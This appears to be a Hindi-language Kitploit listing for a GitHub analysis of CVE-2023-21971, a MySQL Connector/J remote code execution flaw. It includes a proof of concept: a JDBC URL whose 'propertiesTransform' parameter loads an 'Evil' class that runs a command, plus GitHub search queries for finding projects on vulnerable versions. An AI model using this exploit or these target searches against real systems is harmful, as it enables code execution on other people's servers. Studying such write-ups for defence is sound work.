Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE विश्लेषण分析 | Kitploit
उपकरण/GitHubGitHub/avento/cve-2023-21971_analysis
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE विश्लेषण分析

रिपॉजिटरी देखें
323 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-21971 Connector/J RCE विश्लेषण

संदर्भ

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC डीसीरियलाइज़ेशन विश्लेषण - 跳跳糖 (tttang.com)

भेद्यता अवलोकन

Oracle MySQL के MySQL Connectors उत्पाद में भेद्यता (घटक: Connector/J)। प्रभावित समर्थित संस्करण 8.0.32 और उससे पहले हैं। इस भेद्यता का शोषण करना कठिन है, उच्च अनुमति वाले हमलावर को MySQL कनेक्टर को भंग करने के लिए कई प्रोटोकॉल के माध्यम से नेटवर्क तक पहुँचने की अनुमति देता है। सफल हमले के लिए हमलावर के अलावा किसी अन्य व्यक्ति के मानव संपर्क की आवश्यकता होती है। इस भेद्यता के सफल हमले से अनधिकृत क्षमता उत्पन्न हो सकती है जिससे MySQL कनेक्टर हैंग हो जाता है या बार-बार क्रैश हो जाता है (पूर्ण DOS), साथ ही MySQL कनेक्टर के कुछ सुलभ डेटा में अनधिकृत अद्यतन, प्रविष्टि या हटाने की पहुँच और MySQL कनेक्टर के कुछ भागों में अनधिकृत पढ़ने की पहुँच हो सकती है।

प्रभावित संस्करण:

  • 8.0.32 और उससे पहले पर प्रभावित

खोज

Github पर mysql-connector-java पर निर्भर प्रोजेक्ट खोजें।

root@kitploit:~
filename:pom.xml mysql-connector-java

Github पर खोजें, तो आप mysql-connector-java के किसी विशेष संस्करण पर निर्भर प्रोजेक्ट पा सकते हैं।

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

विश्लेषण

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

यहाँ स्पष्ट रूप से हम propertiesTransformClassName को नियंत्रित कर सकते हैं, newInstance() को कॉल करने की प्रक्रिया में स्वचालित रूप से इसका नो-आर्ग कंस्ट्रक्टर कॉल होता है।

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

स्पष्ट रूप से एक प्रमाण डेमो लिखा जा सकता है।

पुनरुत्पादन वातावरण

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

यहाँ हम सीधे Jar फ़ाइल डाउनलोड करके IDEA प्रोजेक्ट के Libraries में आयात करते हैं।

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

लेकिन Evil क्लास स्थानीय रूप से बनाया गया है, और निर्भरता में कोई भी क्लास ConnectionPropertiesTransform इंटरफ़ेस को लागू नहीं करता है। क्या यह एक बेकार शोषण वाली भेद्यता है?

image-20230607145253977

प्रयोगों के माध्यम से हमने पाया कि वास्तव में Evil क्लास को ConnectionPropertiesTransform इंटरफ़ेस लागू करने की आवश्यकता नहीं है, फिर भी कमांड निष्पादन हो सकता है।

image-20230607145521241

कॉल चेन

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
टूल डाउनलोड करें